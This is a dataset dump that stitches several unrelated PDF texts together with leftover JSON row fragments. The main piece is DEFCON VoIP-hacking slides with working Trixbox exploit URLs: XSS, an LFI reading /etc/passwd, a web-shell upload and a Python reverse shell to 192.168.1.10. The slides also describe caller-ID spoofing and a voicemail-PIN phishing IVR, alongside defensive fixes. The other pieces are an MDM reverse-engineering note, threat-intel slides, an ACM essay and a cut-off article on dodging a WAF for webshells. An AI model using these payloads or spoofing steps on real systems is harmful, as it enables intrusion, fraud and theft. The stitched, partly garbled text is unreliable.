10.1.3.3:5060;branch=z9hG4bKb27061747269636b\nFrom: “JConnor“ <sip:15554141337@10.1.3.3:5060>;tag=18de4db33f\nTo: \"19195551223\" <sip:19195551223@defcon.org>\nCall-ID: 19424e0d9187654209ed34db33f\nCSeq: 1 INVITE\nMax-Forwards: 70\nUser-Agent: BigTelcoVendor/R16.4.1.1\nSupported: 100rel,timer,replaces,join,histinfo\nAllow: INVITE,CANCEL,BYE,ACK,NOTIFY,REFER,OPTIONS,INFO,PUBLISH\nContact: “JConnor\" <sip:15554141337@10.1.3.3:5060;transport=udp>\nContent-Type: application/sdp\nContent-Length: 165\nv=0\no=- 1 1 IN IP4 10.1.3.3\ns=-\nc=IN IP4 10.1.3.3\nb=AS:64\nt=0 0\nm=audio 19001 RTP/AVP 0 127\na=rtpmap:0 PCMU/8000\na=rtpmap:127 telephone-event/8000\nThe Crypto That Time Forgot\nREGISTER sip:192.168.1.123 SIP/2.0\nVia: SIP/2.0/UDP 192.168.1.1:8166;branch=z9hG4bK-d8754z-\n0be76a4b680f6408-1---d8754z-;rport\nMax-Forwards: 70\nContact: <sip:1000@192.168.1.1:8166;rinstance=c7c558226c47c266>\nTo: <sip:1000@192.168.1.123>\nFrom: <sip:1000@192.168.1.123>;tag=309f3210\nCall-ID: YWM4NWQxNThiNGEwMjhmYTJhZmIwYzJiNjMxNTY1MjE\nCSeq: 2 REGISTER\nExpires: 3600\nAllow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, \nSUBSCRIBE, INFO\nUser-Agent: X-Lite 4.7.1 74247-647f3e8e-W6.1\nAuthorization: Digest \nusername=\"1000\",realm=\"asterisk\",nonce=\"35e47ee9\",uri=\"sip:192.168.1.1\n23\", response=\"33ac377e4d50ad6026837ef37b2d33ce\",algorithm=MD5\nContent-Length: 0\nInformation Leakage\n● Google searches, DNS queries, job boards, and calls \nthat go to voicemail or auto-attendant may the type \nof phone system\n● If Internet connected, a quick SIP OPTIONS or \nINVITE reveals key info. User-Agent, Server, X-\nheaders, or other header presence (or lack of) tells me \nwhat you’re running.\n● User or extension enumeration\n● A quick vuln database scan tells me how to try to \ncompromise your system\nSIP VoIP info gathering tips\n● Port scans - specify TCP & UDP, along with a port range \nto detect Asterisk AMI (5038) - outside of nmap defaults\n● Scan slow to avoid rate based filters (-T)\n● Use more than one tool, & mod default values. Ex: If \nusing SIPVicious change default User-Agent in \nsvhelper.py\n● Scan with another SIP method such as INVITE or \nCANCEL\n● Metasploit SIP scanner randomizes identifying fields\n● Not many VoIP scanner projects maintained, but Viproy \nand Bluebox-ng ARE\nAsterisk User-Agents\n● 15MM SIP entries in dataset\n● 52,420 containing “Asterisk”\n● 10,776 are just “Asterisk PBX”\n(top server UA in the list)\n● 1,156 \"Asterisk PBX 1.6.0.26-\nFONCORE-r78\"\n- TrixBox!\nSpecial thanks to Daniel Abreu for help with ZMap data import to ElasticSearch w/Kibana\nAs expected, LOTS of:\n●\nInsecure phones & MTAs\n●\nOld SMB systems from Cisco, \nNortel, Avaya, etc.\nUnexpected Finds:\n●\nNORTEL-DMS100-SS7-ISUPbr (?!)\n●\n5,785 hits on “camera”, 5467 in CN\n●\nTop user-agent - 3.6MM \n“FRITZ!OS” MTAs deployed in DE\n●\nLOTS of Huawei in Iran\nInformation Leakage Defense\n●\nChange the default SIP “User-Agent” string to fool attackers\no\nIn asterisk change sip_general_additional.conf “useragent=”\no\nOr in FreePBX Web GUI > Settings > Asterisk SIP Settings \n> Go to “Other SIP settings” at bottom and enter \n“useragent” and “<value you want>”\n●\nBlock bad user agents & use rate limiting (See our Github)\n●\nAdd “alwaysauthreject=yes” to sip_custom.conf & username <> \nextension\n●\nImplement fail2ban to block IPs that\no\nTry to register to invalid extensions\no\nHave a number of registration failures\no\nExceed a reasonable message rate\n●\nUse a security appliance that will block SIP scans\nExploitation\nex·ploi·ta·tion\n(ĕk′sploi-tā′shən)\nn.\n1. The act of employing to the greatest possible \nadvantage\n2. Utilization of another person or group for selfish \npurposes\nExploitation\nThe phreaks used the weaknesses \nin the phone network to their \ngreatest advantage, and used them \nto enable further exploration.\nExploitation\nNowadays. used for…\nPretty much anything\nTrixBox\nImmensely popular Asterisk front end\nSourceForge Stats:\n5.0 Stars (35)\nLast Update: 2013-06-18\nhttp://sourceforge.net/projects/asteriskathome/files/trixbox%20CE/stats/json?start_date=2010-01-01&end_date=2015-01-01 (More Stats)\nVulnerabilities\nhttp://www.cvedetails.com/vendor/6284/Asterisk.html - Memory Corruption, XSS, Directory \nTraversal, HTTP Response Splitting, CSRF and File Inclusion not included in chart\nYear\nDoS\nCode \nExecution\nOverflow\nSql \nInjection\nBypass \nsomething\nGain \nInformation\nGain \nPrivileges\n# of exploits\n# of \nVulnerabilities\n2007\n11\n3\n3\n1\n1\n1\n1\n17\n2008\n8\n1\n1\n1\n1\n15\n2009\n2\n1\n1\n3\n2010\n1\n1\n2011\n1\n1\n2012\n4\n2\n2\n6\n2013\n1\n1\n2\n1\n3\nTotal\n28\n7\n9\n1\n1\n4\n1\n1\n46\nExploitation Demo\nhttp://packetstormsecurity.com/files/127522/Trixbox-XSS-LFI-SQL-Injection-Code-Execution.html - By AttackTerrorist\nUnauthenticated XSS\n/user/help/html/index.php?id_nodo=%22\nonmouseover%3dalert%28%27wow_133\n7\\n%27%2bdocument.cookie%29%3d%\n22\nTranslation:\n?id_nodo=“onmouseover=alert(‘wow_13\n37\\n’+document.cookie)=”\nExploitation Demo\nhttp://packetstormsecurity.com/files/127522/Trixbox-XSS-LFI-SQL-Injection-Code-Execution.html - By AttackTerrorist\nLocal File Inclusion\n/maint/modules/home/index.php?lang=../../../../.\n./../../../etc/passwd%00\nOther interesting files to read (Other than your \nnormal goto files)\nAsterisk Configs (/etc/asterisk/)\nusers.conf\nvoicemail.conf\nextensions.conf\nMany More\nAmp Portal Config\n/etc/amportal.conf\nAsterisk Logs\n/var/log/asterisk\nExploitation Demo\nhttp://packetstormsecurity.com/files/127522/Trixbox-XSS-LFI-SQL-Injection-Code-Execution.html - By AttackTerrorist\nhttp://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet\nAuthenticated Remote Code Execution\nGoal: Upload Shell.php, Spawn Netcat Shell\n/maint/modules/home/index.php?lang=1;echo \"<?php system(\\$_GET['cmd']);?>\">shell.php\n/maint/modules/home/shell.php?cmd=python%20-\nc%20%27import%20socket,subprocess,os;s=socket.socket%28socket.AF_INET,socket.SOCK_S\nTREAM%29;s.connect%28%28%22192.168.1.10%22,1234%29%29;os.dup2%28s.fileno%28%2\n9,0%29;%20os.dup2%28s.fileno%28%29,1%29;%20os.dup2%28s.fileno%28%29,2%29;p=subpr\nocess.call%28[%22/bin/bash%22,%22-i%22]%29;%27\n(VIDEO)\nRemote Exec Shell Demo\nLFI Remote Code Exec Demo\nhttp://packetstormsecurity.com/files/127522/Trixbox-XSS-LFI-SQL-Injection-Code-Execution.html\nLFI & XSS By AttackTerrorist -\nSIP Message Injection By Snide.\nExploitation Demo\nhttp://packetstormsecurity.com/files/127522/Trixbox-XSS-LFI-SQL-Injection-Code-Execution.html\nLFI & XSS By AttackTerrorist\nPutting it all Together.\nFrom XSS (UNAUTH)->RCE (AUTH)\nRequires info gathering (maybe) \nPossibly phishing, hidden frames.\nExcuse Me Sir?\nuser/help/html/index.php?id_nodo=%22onmouseover%3dwindow.location.replace%28window.atob%28%27aH\nR0cDovLzE5Mi4xNjguMS41MC9tYWludC9tb2R1bGVzL2hvbWUvaW5kZXgucGhwP2xhbmc9TUY7ZWNo\nbyAiPD9waHAgc3lzdGVtKFwkX0dFVFtcImNtZFwiXSk7Pz4iPnNoZWxsNi5waHA=%27%29%29;%22\"\n1)\nLoad Page with iFrame src above\n2)\nUse the XSS to trigger onmouseover (in frame) to load Base64 Encoded URL: \nhttp://192.168.1.50/maint/modules/home/index.php?lang=MF;echo \"<?php \nsystem(\\$_GET['cmd']);?>\">../../../shell6.php\n3)\nHide Frame\nXSS Phish to Shell Demo\nExploitation Defense\nFix for XSS - help/html/index.php:44 \n$smarty->assign(\"id_nodo\",$_GET['id_nodo']);\nif (in_array($tbLang, array('home', 'meetme', 'etc')) { \n$smarty->assign(\"id_nodo\",$_GET['id_nodo']); }\nFix for LFI - /var/www/html/maint/modules/home/index.php:68-72\n$tbLang = $_GET['lang'];\nif (!in_array($tbLang, array('home', 'meetme', 'etc')) { $tbLang='english'; }\n$languageFile = 'language/'.$tbLang.'.php';\nif(file_exists($languageFile)){\ninclude($languageFile); }\nFix for RCE - /var/www/html/maint/modules/home/index.php\n68: $tbLang = $_GET['lang'];\n339: $phpOutput = shell_exec('php -q libs/status.php '.$tbLang);//exec('perl libs/status.pl');\nif (!in_array($tbLang, array('english', 'french', 'etc')) { $tbLang='english'; }\nExploitation Defense\nDefending isn’t easy\n1. Avoid all-in-one distributions\n2. Update\n3. Custom build\n•\nIt’s not hard\n•\nDon’t build what you don’t need\n4. Configure Properly\n•\nTurn off what isn’t used, needed or \nunknown \n•\nSee #3\n5. Firewall\n6. Fail2ban\nFraud & Abuse\nWhat:\n● No intention to pay\n● Causes loss or damage to \nothers or enables criminal to \nmake a profit\n● Manipulation of the \ntelecommunications network to \nmake it do something \nunintended for fun :)\nFraud & Abuse\nQ: Before Apple, what did electronic device made \nSteve Wozniak and Steve Jobs famous (or maybe \nnotorious) in some circles?\nQ: Who were some of the earliest and largest users of \nblue boxes besides phreaks?\nQ: Besides blue boxes, name one other “box” type \nthat was very popular. What did it do?\nQ: What feat focused the FBI on apprehending John \nDraper aka Capt. Crunch? \nFraud & Abuse\n● Making money - IRSF, traffic pumping \nschemes enabled by cracked PBX\no\nCall generation or forwarding, voicemail \ndialout, routing changes, etc. to make \ncalls to high-cost destinations\n● Caller ID spoofing (“backspoofing”)\n● Telephony Denial of Service - scripted \ncalls to tie up someone’s phone for \nextortion, protest, or prank\n● Vishing – Voice phishing, phone \nschemes, sometimes robo-dialed\nFraud & Abuse Demo\nFaked caller number. CNAM lookup or “dip” by \nreceiver’s telco displays name registered to that \nnumber - aka “backspoofing”\n● Prank Calls\n● Social Engineering\n● Bypass some voicemail pins\n● SWATting\nAsterisk CallerID Setting\nOn outbound route in extensions.conf …\nexten => _1NXXNXXXXXX,n,Set(CALLERID(num)=17045551212)\nIn the “.call” files used for automation just set...\nCallerID: <17045551212>\nHey, Look who’s calling me!\nPhreakme\n“We were just acquired. For security reasons, please enter your \nvoicemail pin for a message from the CEO.”\n“A new tech support fast track phone number verification \nsystem is being rolled out. You must be enrolled for faster help \ndesk service. Please enter your date of birth, in month, day and \nfour digit year for verification.”\nPhreakme Demo\nPhreakme IVR\n● Configure Phreakme calling \nnumber & SIP trunk (in asterisk & \nPHP)\n● Set up a phishing recording - create \nthe pretext\n● Create a target list - the phone \nnumbers\n● Do a dry-run of the recording\n● Run the campaign\nPhreakme - Why do I care?\n● If I get your VM password - depending \non system permissions\n○ Forward calls to high cost \ndestinations\n○ Make new calls\n○ Broadcast internal messages\n○ Listen to VM (corp espionage?)\n● DOB, SSN or other numeric info for \npassword reset?\n● Credit card into?\nFraud & Abuse Defense\n● Credential cracking protections\n● Block international destinations that are in \nNANP besides just 011\n● Disable call forwarding, and only allow it \nselectively\n● Do not allow voicemail and conf bridge \ndialout and voicemail auto-dialback\n● See what protections your provider has - bill \nlimits, per-minute limits, destinations, etc.\nFraud & Abuse Defense\n● Set pins on LD trunks\n● TLS & SRTP - At least make it \nharder. Cert mgt is hard, but even one \norg cert on a client helps. Use GOOD \nalgorithms, and stay patched.\n● Look for security or fraud mgt \nsystems that learn traffic baselines \nand watch for changes in rate, ratio, \nfrequency, and/or direction of calls\nhttps://github.com/phreakme/DC23\nBACKUP\nCurrent Foreign NPAs (for U.S.)\n264 ANGUILLA\n268 ANTIGUA/BARBUDA\n242 BAHAMAS\n246 BARBADOS\n441 BERMUDA\n284 BRITISH VIRGIN ISLANDS\n345 CAYMAN ISLANDS\n767 DOMINICA\n809 DOMINICAN REPUBLIC\n829 DOMINICAN REPUBLIC\n849 DOMINICAN REPUBLIC\n473 GRENADA\n658 JAMAICA\n876 JAMAICA\n664 MONTSERRAT\n721 SINT MAARTEN\n869 ST. KITTS AND NEVIS\n758 ST. LUCIA\n784 ST. VINCENT & GRENADINES\n868 TRINIDAD AND TOBAGO\n649 TURKS & CAICOS ISLANDS\nhttp://www.nanpa.com/reports/area_code_relief_planning.html"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":49,"cells":{"text":{"kind":"string","value":"mdm \n0x00 \nmdm\n0x01 \napache\n -> 443apache -> apachemod_mdm.so -> unixsocket -> mdmd\napachemod_mdm.somdmmdm\nunixsocketmdmunix\n0x02 -mod_mdm \nap_hook_handler\nhook\ncontenttype application/x-httpd-mdm content type\nindex\nmdm_servletsservlet\nmdm_servlets\nservlet\nservlet por/mdm_alert.mdm \ncomposemsgdo_mdmd_message\ncomposemsg\nhttppostpostread\ndestmobileid\npostbodydest\ncomposemsgmsgdestdo_mdmd_message\nunixmsgpost body\n1. postbody\n2. unix\n3. \n0x03 mdm- \nmodmdmmdmmodmdm\nmod\n1. MDMD_MainThread_PipeFile \n2. quequemessagerequest\n3. \nmdmd MDMD_MainThread_PipeFile mdmd\n1. ReqManager\n2. MdmDisManager\nregisterdispatcher\nperformerperformer\nperformer\n1. dispatcher\n2. moddispatcherdispatcherdispatcher\ndispatcher\nnamev1performer\n0x04 mdm- \nperformerunix\nperformer\nswitch\nLABEL_8\n1. v1929\n2. getdevinfobyplist0\nv1929\nv1933gettypebyplist\ntyperequest_typekeyxml\nxmlkeyvalue\nif-elserequest_typetype\nv192929request_typeupdatemobileid\n0x05 \napacheunixsocket"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":50,"cells":{"text":{"kind":"string","value":"Measuring*the*IQ*of*your*Threat*\nIntelligence*Feeds*(#TIQtest)*\nAlex%Pinto%\nMLSec%Project%%\n@alexcpsec%\n@MLSecProject!\nKyle%Maxwell%\nResearcher%\n@kylemaxwell!\nAlex%Pinto%\n• Science%guy%at%MLSec%Project%\n• ML%trainer%\n• Network%security%aficionado%%\n• Tortured%by%SIEMs%as%a%child%\n• Hacker%Spirit%Animal™:%\nCAFFEINATED%CAPYBARA!\nwhoami(s)*\nKyle%Maxwell%\n• Researcher%at%[REDACTED]%\n• Math%Smuggler%\n• Recovering%Incident%Responder%\n• GPL%zealot%\n• Hacker%Spirit%Animal™:%\nAXIOMATIC%ARMADILLO!\n(hUps://secure.flickr.com/photos/kobashi_san/)%\n(hUp://www.langorigami.com/art/gallery/\ngallery.php?tag=mammals&name=armadillo)%\n• Threat%Intel%102%\n• Measuring%Intelligence%\n• Data%Preparaaon%\n• Tesang%the%Data%\n• Tools:%\n• COMBINE%\n• TIQcTEST%\n• Some%parang%ideas%\nAgenda*\n(hUp://www.savagechickens.com/2008/12/iqctest.html)%\nThreat*Intel*102:*Capability*and*\nIntent*\n• What%are%they%able%to%do?%\n• What%are%they%intending%to%do?!\nThreat*Intel*102:*Cage*Matches*\n• Signatures%vs%Indicators%\n• Data%vs%Intelligence%\n• Tacacal%vs%Strategic%\n• Atomic%vs%Composite%\nThreat*Intel*102:*Pyramid*of*Pain*\n“Simple”%and%“easy”%aren’t%always%\n(David%Bianco%–%Pyramid%of%Pain)%\nWhat*about*IP*addresses?*\n• Approximately%same%value%as%hostnames%(APT%vs%DGA)%\n• Finite%resource%(unal%IPv6,%that%is)%\n• \nManaged%/%controlled%by%orgs%\n• \nDifficulty%/%economic%incenaves%/%implied%“cost”%\n• \nAlso,%recyclable%%\n(hUps://xkcd.com/865/)%\nGiven&IP&addresses&harvested&from&\nTI&feeds,&can&we&measure&how&\nmuch&they&“help”&our&defense&\nmetrics?!\nIntroducing*TIQGTEST*\n• All%these%tests%are%available%as%R%funcaons%at%%\n• \nhUps://github.com/mlsecproject/aqctest%\n• \nHave%fun,%prove%me%wrong,%suggest%stuff%\n• Tools%that%implement%those%tests%\n• Sample%data%+%R%Markdown%file%\n• The%excuse%to%learn%a%staasacal%language%you%were%waiang%\nfor!%\nData*Sources*–*Types*of*data*\n• Extract%the%“raw”%informaaon%from%indicator%feeds%\n• Both%IP%addresses%and%hostnames%were%extracted%\nData*Sources*–*Feeds*Selected*\n• Data%was%separated%into%“inbound”%and%“outbound”%\nData*PreparaLon*and*Cleansing*\n• Convert%the%hostname%data%to%IP%addresses:%\n• \nAcave%IP%addresses%for%the%respecave%date%(“A”%query)%\n• \nPassive%DNS%from%Farsight%Security%(DNSDB)%\n• We%removed%noncpublic%IPs%from%the%dataset%(RFC1918)%%\n• \nYeah,%we%know%it%is%a%“parking%technique”%\n(hUps://xkcd.com/742/)%\nData*PreparaLon*and*Cleansing*\n• For%each%IP%record%(including%the%ones%from%hostnames):%\n• \nAdd%asnumber%and%asname%(from%MaxMind%ASN%DB)%\n• \nAdd%country%(from%MaxMind%GeoLite%DB)%\n• \nAdd%rhost%(again%from%DNSDB)%–%most%popular%“PTR”%\n• The%experiments%will%be%around%ASNs%and%Geolocaaon%\nData*PreparaLon*and*Cleansing*\n• However,%we%will%NOT%be%using%maps.%Just%let%it%go.%\nData*PreparaLon*and*Cleansing*\n• Small%enriched%sample:!\nTesLng*the*Data*\n• Let’s%generate%some%interesang%metrics:%\n• \nNOVELTY%–%How%oxen%do%they%update%themselves?%\n• \nOVERLAP%–%How%do%they%compare%to%what%you%got?%\n• \nPOPULATION%–%what%is%in%them%anyway?%\n• Populaaon%is%tricky:%\n• \nCould%mean%the%enare%world%(all%IPv4%space)%\n• \nShould%ideally%mean%YOUR%world%\nBut*WHAT*IS*THE*IQ?!??1?*\n• We%will%withhold%judgment%\n• The%best%data%composiaon%is%the%best%one%for%you%\n• We%will%do%our%best%to%explain%results%so%you%can%decide.%\n• Maybe%on%further%(or%more%private)%research…%\n%\n%\nNovelty&Test&–&measuring%added%\nand%dropped%indicators!\nNovelty*Test*(1)*\nNovelty*Test*(2)*\nOverlap&Test&–&More%data%is%beUer,%\nbut%make%sure%it%is%not%the%same%\ndata!\nOverlap*Test*\nOverlap*Test*\nOverlap*Test*\nPopulaLon*Test*\n• Let%us%use%the%ASN%and%\nGeoIP%databases%that%we%\nused%to%enrich%our%data%as%a%\nreference%of%the%“true”%\npopulaaon.%%\n• But,%but,%human%beings%are%\nunpredictable!%We%will%\nnever%be%able%to%forecast%\nthis!%\n%\n%\nCan*we*get*a*beSer*look?*\n• Don’t%like%squinang%either%\n• Staasacal%inferencecbased%comparison%models%\n(hypothesis%tesang)%\n• \nExact%binomial%tests%(when%we%have%the%“true”%pop)%\n• \nChicsquared%proporaon%tests%(similar%to%\nindependence%tests)%\n%\nCan*we*get*a*beSer*look?*\n• We%can%beUer%esamate,%with%confidence%intervals,%our%\nmeasures%of%error.%\n• Also,%pcvalues!%(with%apologies%to%Alex%HuUon)%\n• We%promise%to%be%very%conservaave%in%using%them.%\n%\nHacker*Spirit*Animal™*Guide*\n• US%–%Eagle%\n• CA%–%Moose%\n• FR%–%Frog%\n• GB%–%Bulldog%\n• AU%–%Koala%\n• BR%–%Capybara%/%Toucan%\n• Texas%–%Armadillo%\n• Disclaimer:%we%do%not%endorse%Geolocaaoncbased%aUribuaon%\nTrend*Comparison*\nIntroducing*COMBINE*\n• Harvesang%feeds%\ntakes%some%work.%\n• Most%of%us%let%\nsomebody%else%do%it%\nwithout%thinking%\nabout%what%it%\nactually%takes.%\nIntroducing*COMBINE*\nhUps://github.com/mlsecproject/combine%\nIntroducing*COMBINE*\n• Components:%\n1. Reaper%gathers%the%threat%data%directly%from%feeds.%\n2. Thresher%normalizes%it%into%a%simplisac%data%model.%\n3. Winnower%opaonally%performs%basic%validaaon%or%\nenrichment.%\n4. Baler%transforms%the%data%into%CybOX,%CSV,%JSON,%and%\nCIM.%(Only%CSV%and%JSON%work%right%now).%Could%also%\nwrite%others%fairly%easily.%(nudge%nudge,%wink%wink)%\nIntroducing*COMBINE*\n• Always%trying%to%feed%\nit%more.%Lots%of%\npossibiliaes,%\nincluding%your%own%\ndata%sources.%\n• We%clearly%do%NOT%\nendorse%any%included%\nfeeds.%%\nIntroducing*COMBINE*\n• Enrichments%c%think%\nmetadata.%%\n• AS,%geolocaaon%\n• DNS%resoluaons%\ncourtesy%of%Farsight%\nDNSDB%%\n• Ask%them%for%an%\nAPI%key%to%test%it,%tell%\nthem%Alex%Pinto%\nsent%you%;)%%\nMLSec*Project*\n• Both%projects%have%been%released%as%GPLv3%by%MLSec%Project%\n• Will%replace%the%internal%versions%we%have%on%the%main%code%\n%\n• Looking%for%paracipants%and%data%sharing%agreements%\n• Liked%TIQcTEST?%We%can%benchmark%your%private%feeds%using%\nthese%and%other%techniques%\n%\n• Visit%hSps://www.mlsecproject.org%,%message%@MLSecProject%\nor%just%ecmail%me.!\nTake*Aways*\n• Analyze%your%data.%%\n• Extract%value%from%it!%\n• Try%before%you%buy!%Different%test%\nresults%mean%different%things%to%\ndifferent%orgs.%\n• Use%the%tools!%Suggest%new%tests!%\n• Share%data%with%us!%We%take%good%\ncare%of%it,%make%sure%it%gets%\nproper%exercise.%%\nThanks!*\n• Q&A?%\n• Feedback!%\nAlex%Pinto%%\n@alexcpsec%\n@MLSecProject%\n”The%measure%of%intelligence%is%the%ability%to%change.\"%%\n%\n%\n%\n%%\n%\n%c%Albert%Einstein%%\nKyle%Maxwell%\n@kylemaxwell%"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":51,"cells":{"text":{"kind":"string","value":"A\nt a recent computer con-\nference, a colleague of\nmine from a conservative\nacademic institution chatted\ncongenially with another con-\nference attendee. At a typical\nconference such a conversa-\ntion would be nothing partic-\nularly revealing, but this was DEFCON, and the\nyoung lady he was speaking with had a stainless\nsteel spike tipped with a blinking green LED pro-\ntruding from her lower lip. While some security\nresearchers have described such conferences as\n“going to a graffiti convention expecting to see\nthose who design spray cans” [1], I beg to differ. \nAs a computer scientist you would be remiss in\nnot attending one or more hacker conferences. The\neffort is worth it. You might see a speaker dance\nthrough the vulnerabilities in disassembled binaries\nwith the skill of an Aikido master, another demon-\nstrate a modified game console that boots to Linux,\nscans an internal network, and reports back to its\nmaster via encrypted communication paths, or (to\nthe sound of Megadeth) the teams of Capture the\nFlag and Root-Fu compete in head-on war games.\nThe intensity and talent would make you keenly\naware that, so inclined, these people could take\napart your carefully crafted, peer-reviewed applica-\ntion, protocol, or algorithm and find its weak-\nnesses—perhaps very publicly or without a word\nbeing spoken. \nYou need only perform an Internet search on\nDEFCON, Interz0ne, Phreaknic, and Hackers on\nPlanet Earth to get a sense of the passion these\nevents engender.1 Attendees range from respected\ntribal elders to immature hangers-on. Rather than\ndistinctly good or bad, my experience has shown\nthat most represent a more intellectually curious,\nhighly principled, authority-averse, scientifically\nopen-minded attitude. The majority are genuine\ncomputer experts from highly technical computing\ndisciplines. \nFor the past four years my electrical engineering\nand computer science department at West Point has\narranged for faculty members, including me, staff,\nand students to attend hacker conferences. The deci-\nsion was based on the intuition of our senior depart-\nmental leaders who felt we would benefit personally,\nprofessionally, and, most important, pedagogically\nthrough exposure to the hacker community. I have\nnow attended 11 and presented at three. With each\nattendance, my colleagues and I have come away\nwith a greater understanding of the diversity within\nthe computer science culture, the emerging fault\nlines in the security boundaries of our systems, and\nan appreciation for the extreme technical expertise,\nproblem solving, and focus that is often marginalized\nby the mainstream computer science community. \nThe hackers are largely self- and peer-taught. But\ndo not assume that just because no computer sci-\nence diplomas hang on their walls (though many\ndo) they are not worth engaging. In many ways\ntheir expertise and problem solving exceeds their\ncounterparts in our research laboratories and class-\nrooms. Comments like “I was accepted at MIT but\ndidn’t have the money to attend” and backgrounds\nLISA HANEY\nViewpoint Gregory Conti\nWhy Computer Scientists Should\nAttend Hacker Conferences\nAlong with the intellectual challenge, scientists may appreciate the technical insight,\nespecially about security, ethical honesty, and common computing interests. \n1For more on these conferences, see: www.defcon.org, www.interz0ne.com, www.\nphreaknic.info, and www.the-fifth-hope.org/hoop/.\nCOMMUNICATIONS OF THE ACM\nMarch 2005/Vol. 48, No. 3\n23\n24\nMarch 2005/Vol. 48, No. 3 COMMUNICATIONS OF THE ACM\nlike “when I was a Navy SEAL” are likely to be \nthe norm rather than the exception. Gender, \nethnic background, and age are profoundly irrele-\nvant in a diverse meritocracy that glorifies what you\ndemonstrably know. They color outside the lines,\nunlike many of us who have been trained to color\ninside them.\nMake no mistake; your first attendance is likely to\nbe uncomfortable. You’re unlikely to be instantly rec-\nognized as an authority in the field. Instead you will\nbe judged on your attitude, intelligence, creativity,\nand the content of your conversation. If you present\nyour work (formally or informally) you may find\nyou get a more intense and intellectually honest\nreview than you would from your local research\ngroup members or academic peers. \nThis review can be profoundly beneficial. At a\nrecent Interz0ne conference, I gave a talk on the\nnotion of using information visualization techniques\nto detect network attacks. Attendees were helpful;\none pointed out the subtle similarity between two\nimages and postulated that the attack the tools were\nvisualizing came from the same code base, opening\nup an entirely new avenue of research. Another\nnoted that a visualization technique under discussion\nwas reminiscent of the Incan quipu. After returning\nhome and looking up the definition of quipu, I\nfound he was right, so I’ve now incorporated ancient\ncommunication techniques as inspiration for my\ncurrent research. \nA third attendee wrote a favorable review of my\ntalk and posted it to the broadly disseminated\nmemestreams system (www.memestreams.net). Traf-\nfic to my research Web site jumped dramatically.\nDuring a related discussion, a fourth clearly\nexplained a novel application of Fourier transforms\nto my work. I am indebted to these people for the\nhelp they freely provided. I would argue that engag-\ning the community in this bidirectional manner\nwould deliver similar rewards.\nFar beyond these anecdotal examples, I’ve been\nprofoundly and positively influenced by my interac-\ntion with the hacker community. First and foremost,\ntrue hackers are not the enemy. One respected\nhacker explained it as this: “If a group is treated as\nthe enemy, they will behave like one, but if they are\ntreated as peers and experts who have something to\ncontribute they will rise to the challenge.” \nHacker conferences have taught me respect for\ninterdisciplinary backgrounds and diversity within the\ncomputing disciplines. Hackers’ passionate pursuit of\ntechnical excellence and lifetime learning, as well as\ntheir adventuresome exploration and enjoyment of\ntechnology, are to be emulated. I’ve now altered my\nteaching philosophy to aim to instill these attributes in\nmy students. I now expect them to approach prob-\nlems from many perspectives, not just search for what\nthey view as the approved solution. I aim to do the\nsame in my own research. In addition, with each con-\nference attendance I return to the classroom with a\nfresh set of experiences, ethical case studies, possible\nguest speakers, anecdotes, and software tools to breathe\nlife and relevance into the classroom experience.\nAs you begin to explore hacker conferences,\nremember, too, that you are likely stepping into a\ndifferent social circle. If you treat the culture with\nrespect, rather than writing off people different from\nyourself, you are also likely to find a great deal of\ncommon interest. \nWe may take different paths through life, have\ndifferent motivations, play better with certain\ngroups, or have different ethical compass orienta-\ntions. But there is a common thread—a passion for\ntechnology and an intense interest in how things\nwork. You would do well to attend; both communi-\nties have much to learn from one another. Oh, and\ndress casually; sport coat and tie are definitely not\nrequired. \nReference\n1. Verton, D. Hacker conferences highlight security threats. PCWorld.com\n(July 20, 2001); www.pcworld.com/news/article/0,aid,55784,00.asp.\nGregory Conti (conti@acm.org) is an Academy Professor of\nComputer Science at the United States Military Academy in West\nPoint, NY, and is currently at the Georgia Institute of Technology \non a Department of Defense Fellowship.\nThe views expressed here are those of the author and do not reflect the official policy\nor position of the United States Military Academy, the Department of the Army, the\nDepartment of Defense, or the U.S. Government.\n© 2005 ACM 0001-0782/05/0300 $5.00\nc\nViewpoint"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":52,"cells":{"text":{"kind":"string","value":"1\nClassLoader的理解\n前⾔\nClassLoader的特性\n最后\n补上上次星球⽆奖问答环节的坑。(本来北⾠师傅在星球中没改⻢甲名字，后来才知道下⾯回答的是北⾠师\n傅，emmmm尴尬尴尬)\n起因是⼩伙伴在hvv的过程中发现WAF会拦截Webshell中defineClass这个函数，因为反射可以把我们需\n要调⽤的⽅法放到⼀个字符串的位置，就可以产⽣各种变形，所以就想通过反射来绕过。\n于是乎就劈⾥啪啦写了这样⼀段代码：\n然后发现第⼀次连接可以，第⼆次再刷新就会⼀直提示类重复加载的错误。\n前⾔\n1 Method defineClass = Class.forName(\"java.lang.ClassLoader\").getDec\nlaredMethod(\"defineClass\", String.class, byte[].class, int.class,\n int.class);\n2\n3 defineClass.setAccessible(true);\n4 defineClass.invoke(ClassLoader.getSystemClassLoader(), bytes, 0, b\nytes.length)\n2\n其实这个问题主要涉及到对JAVA中类加载机制的理解，于是就引申出来另⼀个问题：为什么冰蝎跟蚁剑原\n来的shell就不会提示类重复加载的错误呢。在这篇⽂章⾥跟⼤家分享⼀下⾃⼰的理解。\n关于类加载机制已经有很多⽂章，在这个问题上主要涉及到其中⼀个知识点：\n⼀个类，如果由不同的类加载器实例加载的话，会在⽅法区产⽣两个不同的类，彼此不可⻅，并且在堆中\n⽣成不同Class实例。\n这⾥我们做⼀个⼩实验，⾸先写⼀个测试的⽬标类，就是简单的弹⼀个计算器。\n编译然后获取class⽂件的base64结果，放⼊到下⾯代码中。\n需要注意的是，完成之后需要在idea中把上⾯弹计算器的类给删掉，这样才能模拟加载⼀个不存在类的效\n果。\nClassLoader的特性\n 1 package com;\n 2\n 3 import java.io.IOException;\n 4\n 5 public class calc {\n 6 public calc() {\n 7 }\n 8\n 9 static {\n10 try {\n11 Runtime.getRuntime().exec(\"calc\");\n12 } catch (IOException e) {\n13 e.printStackTrace();\n14 }\n15\n16 }\n17 }\n 1 package loader;\n 2\n 3 import java.util.Base64;\n 4\n 5 public class test1 {\n3\n运⾏之后发现弹出了计算器，因为此时我们加载这个类的ClassLoader就是defineLoader1。\n 6 public static class DefineLoader extends ClassLoader {\n 7 public Class load(byte[] bytes) {\n 8 return super.defineClass(null, bytes, 0, bytes.lengt\nh);\n 9 }\n10 }\n11\n12 public static void main(String[] args) {\n13 String cls = 